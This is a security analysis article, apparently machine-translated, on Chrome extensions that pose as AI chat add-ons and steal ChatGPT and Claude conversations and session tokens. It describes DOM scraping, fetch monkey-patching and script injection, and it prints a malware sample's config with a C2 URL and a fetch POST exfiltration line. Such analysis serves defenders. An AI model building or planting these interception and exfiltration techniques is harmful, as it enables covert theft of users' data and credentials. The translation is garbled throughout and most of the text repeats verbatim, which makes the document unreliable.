In one of the samples that I met in the first of this year, the Chrome extension was positioned as an improved interface for working with ChatGPT. In a manifest - a typical payment set: activeTab, storage, tabs. Nothing criminal at first glance. Content script through MutationObserver tracked each new answer block in DOM chat interface, copied textContent in chrome.storage.local and wasted the data of the background script. Service worker packed a buffer every 30 minutes in Base64 and sent fetch-hom on the external endpoint. The user saw the working AI-extension - and the samples, the responses of the model and tokens of the sessions quietly leaked. According to OX Security, such campaigns have already been put on stream: dozens of extensions in the Chrome Web Store are disguised as AI-addons and exfiltrate correspondence from ChatGPT, Claude and DeepSeek. Analysts LayerX Research recorded a minimum of 16 extensions with almost the same malicious code from a single operator. The LLM-context has become a separate attack of the surface, and most threat models still do not take it into account.
Business Logic of Attack: Why LLM Context is More Valuable Cookie
Why do you need to attack the content of a chat with a language model when you can hijack session cookies? The answer is what users invest in LLM dialogues. Corporate employees upload into ChatGPT and Claude fragments of internal documents, server configurations, pieces of code with head-cut API keys, customer data. System products of corporate LLM-applications contain business logic, filtering rules, sometimes direct links to internal APIs. Leakage of system production (LLM07:2025 System Prompt Leakage According to the OWASP classification) is not just a loss of intellectual property, but a ready-made map for further attack on infrastructure.
The theft of the LLM-context is monetized in several ways:
Correspondence with the model is actually a dump of fragments of internal systems. Buyers on shadow marketplaces rate such data higher than the raw dams of the database, because the context of the dialogue reveals the logic of interaction between the components.
Extracted systemic products allow you to clone commercial AI products or find prompt injection-vulnerability in them - this is the promption extraction.
API keys and credentials from chat history - direct entry vector to the victim's infrastructure. No phishing, no CVE operation. Just an initial access from someone else's chat.
If the model is connected to Slack, Jira, GitHub - the contents of the chat reveals the structure of integrations and often contains OAuth tokens. Lateral movement through context, without a single operation launch.
Russian-language reviews of malicious extensions focus on the theft of Facebook accounts or session theft, but the theft of AI-context is a separate class of attacks with another business model.
Kill chain theft of AI chats through browser extensions
The complete chain of installation of malicious extension to exfiltration LLM data fits into five stages. Each manpate on a specific MITRE ATT&CK technique:
1. Installation and fixing - Persistence, T1176.001 Browser Extensions. The extension enters the browser through the Chrome Web Store (masked under AI tool) or through side-downloading when installing pirated content. According to Kaspersky, the ChromeLoader campaign in 2023 delivered malicious extensions through VHD files with game images, and the task scheduler automatically reintroduced the extension after the reboot.
2. Persistent identification. The extension generates UUID of the user and saves it in chrome.storage.local. The identifier is undergoing a browser restart and allows you to correlate all actions of the victim in time. This is not a cookie - the user can not clean it with standard means.
3. Data interception - Collection (T1185, T1005, T1213) Content script gets access to the DOM chat interface, reads the text of the prototypes and the model, the metadata of the sessions. In parallel through chrome.tabs.onActivated and chrome.tabs.onUpdated A complete navigation profile is collected. Interception of authorization headlines through webRequest API gives access to session tokens (T1539 Steal Web Session Cookie)
4. Buffering and preparation. The data does not go away immediately - debounce logic and local buffer with a limit (usually 4 MB) are used. This reduces network activity and makes the expansion less noticeable to the user and network analyzers. Base64 encoding masks the JSON structure from simple DLP signatures. Typical OPSEC attacker: the data is sent at intervals of 30 minutes, simulating telemetry.
5. Exfiltration (T1041, T1567.002) The accumulated buffer goes to the C2-server through the standard fetch or XMLHttpRequest. The shipment and HTTPS interval on a domain with a legitimate TLS certificate make traffic virtually indistinguishable from a regular API call.
A place in the full chain. Malicious extension is a persistence component that starts collecting data immediately after installation. In complete kill chain, the extension most often appears as a result of supply chaining or social engineering. Further, it all depends on the collected: API keys lead to compromise of cloud infrastructure, system propts - to targeted prompt injection attacks.
Permissions and content scripts: how Chrome malicious plugins steal data
Manifest.json - the first vector of analysis
[Applicable: Expansion audit, internal pentest, security review]
Each Chrome extension describes the rights in manifest.json. To steal AI chats, a combination of three permissions is enough, which individually look innocent:
tabs- access to the URL and headers of all tabs. Allows you to determine when the user opens chat.openai.com, claude.aior chat.deepseek.com.
storage- persistent storage for buffering the intercepted data.
activeTabCombined with host_permissions: ["<all_urls>"]- the right to inject content scripts in any page, including AI chat interfaces.
Red flags in analysis manifest:
Permission webRequestor webRequestBlocking- allows you to intercept HTTP requests to the LLM API, including headlines with authorization tokens.
Wide host_permissionsInstead of a clear list of domains. The extension claimed as “ChatGPT’s assistant” should not require access to all URLs.
Directive content_scriptsc matches: ["://.openai.com/", "://.anthropic.com/"]- clear AI target.
Manual audit through chrome://extensions with the first thing I turn on Developer Mode, first of all, look at the ratio of the claimed functionality and the requested permissions. Expansion for the equclosure of the text should not require tabs and webRequest. For automated verification, you can use CRXcavator or Extension Source Viewer - they evaluate a risk score based on a combination of permissions, but for LLM-specific threats, their heuristics are not enough (checked at those 16 Layer X samples - none received a score of critical).
Interception of the context of the language model via DOM
[Applicable: analysis of malicious extensions, browser forensics]
The content script extension is executed in the context of a web page and has full access to DOM. For chat interfaces, ChatGPT and Claude this means accessing the text of each product and each model’s response – without having to break the API or intercept network traffic.
Typical Interception Pattern: Contentr script establishes MutationObserver on the root element of the chat. When a new node (user message or model response) appears, the script removes textContent and he's fluttered into the massif along with the timentamp and the victim's UUID. In DOM ChatGPT, messages are rendered inside div with a predictable structure of classes - to parse them trivially.
Separate vector - monkey-patching fetch/XMLHttpRequest at the content script level. The expansion replaces the global window.fetch a wrapper that copies the body of each request to api.openai.com/v1/chat/completions, including system prompt in the field messages[0]and duplicates on his endpoint. The method works even when changing the DOM-structure - interception is at the level of API-challenges.
Restrictions of technology. Content scripts work in an isolated JS context (isolated world) and do not see JS-Variable pages directly. DOM is fully available. For interception fetch Injection of tag is used <script> the main world of the page through document.createElement('script') - this technique bypasses the content scripts insulation. Manifest V3 does not block such injections, although it limits webRequestBlocking.
When the technique doesn't work. If the AI platform uses Shadow DOM to render chat messages with a closed shadow root (mode: 'closed'), the content script will not reach the text through the standard DOM API. At the time of writing, neither ChatGPT nor Claude use the closed shadow roots - but this is a potential protection measure.
Real samples: PromptSnatcher attack in Chrome Web Store
The term PromptSnatcher I use for a class of malicious extensions, the main purpose of which is to extract LLM-context, rather than general espionage over the browser.
The AITOPIA campaign. According to OX Security, two malicious copies of the legitimate AIOPIA extension were distributed through the Chrome Web Store and exfiltrate correspondence from ChatGPT and DeepSeek. Extensions were provided by real AI-function (integration with GPT and Claude models), while simultaneously collecting the full history of user chat rooms. A beautiful wrapper - and inside the styler.
16 extensions from a single operator. Analysts LayerX Research found 16 extensions with almost identical malicious code. All of them embed the scripts on the pages of interaction with ChatGPT and intercepted network queries with authoritative data. The main goal is tokens of active sessions. Having received a token, the attacker gets full access to the account without knowledge of the password, including correspondence history and connected services (Google Drive, Slack, GitHub).
Sample with C2 on chatsaigpt.com. A detailed analysis of one of the samples, published on Haber, showed a typical PromptSnatcher architecture. Central condition object:
JavaScript:
let config = {
baseUrl: "https://chatsaigpt.com/ext2/",
globalChatId: null,
intervalTime: 60 * 30 * 1000,
MAX_SIZE_BYTES: 4 * 1024 * 1024,
globalarr: []
};
Each tab switch is fixed through chrome.tabs.onActivated, each page loading - through chrome.tabs.onUpdated. Data is coded Base64, sent to C2 through fetch(config.baseUrl + "switchModel", { method: "POST", body: payload }). IOC of the Sample: SHA-256 2387372acfe38efd31e662b61b6b44aabb01181c5a2b2f0f1e82f5d4680e505c.
Communication with prompt injection. Extensions-spies and prompt injection are two vectors of one problem. The exfiltrate extension data from LLM chat, and prompt injection allows you to manipulate the behavior of the model. CVE-2024-5184 in EmailGPT (CVSS 8.5, HIGH; vector CVSS:4.0 - A:A/AC:L/PR:L/UI:N; CWE-74 Injection) showed how prompt injection leads to leakage of undercarriage system samples. The DOM access extension can additionally insert the invisible text into the user’s product by implementing indirect prompt injection (LLM01:2025, OWASP) According to the study with arxiv, the function of summarizing pages in AI-browser assistants has a 73% success rate for prompt injection attacks, and the answer function to questions - 71%. The numbers are impressive, and not in a good way.
Business Logic of Attack: Why LLM Context is More Valuable Cookie
Why do you need to attack the content of a chat with a language model when you can hijack session cookies? The answer is what users invest in LLM dialogues. Corporate employees upload into ChatGPT and Claude fragments of internal documents, server configurations, pieces of code with head-cut API keys, customer data. System products of corporate LLM-applications contain business logic, filtering rules, sometimes direct links to internal APIs. Leakage of system production (LLM07:2025 System Prompt Leakage According to the OWASP classification) is not just a loss of intellectual property, but a ready-made map for further attack on infrastructure.
The theft of the LLM-context is monetized in several ways:
Correspondence with the model is actually a dump of fragments of internal systems. Buyers on shadow marketplaces rate such data higher than the raw dams of the database, because the context of the dialogue reveals the logic of interaction between the components.
Extracted systemic products allow you to clone commercial AI products or find prompt injection-vulnerability in them - this is the promption extraction.
API keys and credentials from chat history - direct entry vector to the victim's infrastructure. No phishing, no CVE operation. Just an initial access from someone else's chat.
If the model is connected to Slack, Jira, GitHub - the contents of the chat reveals the structure of integrations and often contains OAuth tokens. Lateral movement through context, without a single operation launch.
Russian-language reviews of malicious extensions focus on the theft of Facebook accounts or session theft, but the theft of AI-context is a separate class of attacks with another business model.
Kill chain theft of AI chats through browser extensions
The complete chain of installation of malicious extension to exfiltration LLM data fits into five stages. Each manpate on a specific MITRE ATT&CK technique:
1. Installation and fixing - Persistence, T1176.001 Browser Extensions. The extension enters the browser through the Chrome Web Store (masked under AI tool) or through side-downloading when installing pirated content. According to Kaspersky, the ChromeLoader campaign in 2023 delivered malicious extensions through VHD files with game images, and the task scheduler automatically reintroduced the extension after the reboot.
2. Persistent identification. The extension generates UUID of the user and saves it in chrome.storage.local. The identifier is undergoing a browser restart and allows you to correlate all actions of the victim in time. This is not a cookie - the user can not clean it with standard means.
3. Data interception - Collection (T1185, T1005, T1213) Content script gets access to the DOM chat interface, reads the text of the prototypes and the model, the metadata of the sessions. In parallel through chrome.tabs.onActivated and chrome.tabs.onUpdated A complete navigation profile is collected. Interception of authorization headlines through webRequest API gives access to session tokens (T1539 Steal Web Session Cookie)
4. Buffering and preparation. The data does not go away immediately - debounce logic and local buffer with a limit (usually 4 MB) are used. This reduces network activity and makes the expansion less noticeable to the user and network analyzers. Base64 encoding masks the JSON structure from simple DLP signatures. Typical OPSEC attacker: the data is sent at intervals of 30 minutes, simulating telemetry.
5. Exfiltration (T1041, T1567.002) The accumulated buffer goes to the C2-server through the standard fetch or XMLHttpRequest. The shipment and HTTPS interval on a domain with a legitimate TLS certificate make traffic virtually indistinguishable from a regular API call.
A place in the full chain. Malicious extension is a persistence component that starts collecting data immediately after installation. In complete kill chain, the extension most often appears as a result of supply chaining or social engineering. Further, it all depends on the collected: API keys lead to compromise of cloud infrastructure, system propts - to targeted prompt injection attacks.
Permissions and content scripts: how Chrome malicious plugins steal data
Manifest.json - the first vector of analysis
[Applicable: Expansion audit, internal pentest, security review]
Each Chrome extension describes the rights in manifest.json. To steal AI chats, a combination of three permissions is enough, which individually look innocent:
tabs- access to the URL and headers of all tabs. Allows you to determine when the user opens chat.openai.com, claude.aior chat.deepseek.com.
storage- persistent storage for buffering the intercepted data.
activeTabCombined with host_permissions: ["<all_urls>"]- the right to inject content scripts in any page, including AI chat interfaces.
Red flags in analysis manifest:
Permission webRequestor webRequestBlocking- allows you to intercept HTTP requests to the LLM API, including headlines with authorization tokens.
Wide host_permissionsInstead of a clear list of domains. The extension claimed as “ChatGPT’s assistant” should not require access to all URLs.
Directive content_scriptsc matches: ["://.openai.com/", "://.anthropic.com/"]- clear AI target.
Manual audit through chrome://extensions with the first thing I turn on Developer Mode, first of all, look at the ratio of the claimed functionality and the requested permissions. Expansion for the equclosure of the text should not require tabs and webRequest. For automated verification, you can use CRXcavator or Extension Source Viewer - they evaluate a risk score based on a combination of permissions, but for LLM-specific threats, their heuristics are not enough (checked at those 16 Layer X samples - none received a score of critical).
Interception of the context of the language model via DOM
[Applicable: analysis of malicious extensions, browser forensics]
The content script extension is executed in the context of a web page and has full access to DOM. For chat interfaces, ChatGPT and Claude this means accessing the text of each product and each model’s response – without having to break the API or intercept network traffic.
Typical Interception Pattern: Contentr script establishes MutationObserver on the root element of the chat. When a new node (user message or model response) appears, the script removes textContent and he's fluttered into the massif along with the timentamp and the victim's UUID. In DOM ChatGPT, messages are rendered inside div with a predictable structure of classes - to parse them trivially.
Separate vector - monkey-patching fetch/XMLHttpRequest at the content script level. The expansion replaces the global window.fetch a wrapper that copies the body of each request to api.openai.com/v1/chat/completions, including system prompt in the field messages[0]and duplicates on his endpoint. The method works even when changing the DOM-structure - interception is at the level of API-challenges.
Restrictions of technology. Content scripts work in an isolated JS context (isolated world) and do not see JS-Variable pages directly. DOM is fully available. For interception fetch Injection of tag is used <script> the main world of the page through document.createElement('script') - this technique bypasses the content scripts insulation. Manifest V3 does not block such injections, although it limits webRequestBlocking.
When the technique doesn't work. If the AI platform uses Shadow DOM to render chat messages with a closed shadow root (mode: 'closed'), the content script will not reach the text through the standard DOM API. At the time of writing, neither ChatGPT nor Claude use the closed shadow roots - but this is a potential protection measure.
Real samples: PromptSnatcher attack in Chrome Web Store
The term PromptSnatcher I use for a class of malicious extensions, the main purpose of which is to extract LLM-context, rather than general espionage over the browser.
The AITOPIA campaign. According to OX Security, two malicious copies of the legitimate AIOPIA extension were distributed through the Chrome Web Store and exfiltrate correspondence from ChatGPT and DeepSeek. Extensions were provided by real AI-function (integration with GPT and Claude models), while simultaneously collecting the full history of user chat rooms. A beautiful wrapper - and inside the styler.
16 extensions from a single operator. Analysts LayerX Research found 16 extensions with almost identical malicious code. All of them embed the scripts on the pages of interaction with ChatGPT and intercepted network queries with authoritative data. The main goal is tokens of active sessions. Having received a token, the attacker gets full access to the account without knowledge of the password, including correspondence history and connected services (Google Drive, Slack, GitHub).
Sample with C2 on chatsaigpt.com. A detailed analysis of one of the samples, published on Haber, showed a typical PromptSnatcher architecture. Central condition object:
JavaScript:
let config = {
baseUrl: "https://chatsaigpt.com/ext2/",
globalChatId: null,
intervalTime: 60 * 30 * 1000,
MAX_SIZE_BYTES: 4 * 1024 * 1024,
globalarr: []
};
Each tab switch is fixed through chrome.tabs.onActivated, each page loading - through chrome.tabs.onUpdated. Data is coded Base64, sent to C2 through fetch(config.baseUrl + "switchModel", { method: "POST", body: payload }). IOC of the Sample: SHA-256 2387372acfe38efd31e662b61b6b44aabb01181c5a2b2f0f1e82f5d4680e505c.
Communication with prompt injection. Extensions-spies and prompt injection are two vectors of one problem. The exfiltrate extension data from LLM chat, and prompt injection allows you to manipulate the behavior of the model. CVE-2024-5184 in EmailGPT (CVSS 8.5, HIGH; vector CVSS:4.0 - A:A/AC:L/PR:L/UI:N; CWE-74 Injection) showed how prompt injection leads to leakage of undercarriage system samples. The DOM access extension can additionally insert the invisible text into the user’s product by implementing indirect prompt injection (LLM01:2025, OWASP) According to the study with arxiv, the function of summarizing pages in AI-browser assistants has a 73% success rate for prompt injection attacks, and the answer function to questions - 71%. The numbers are impressive, and not in a good way.
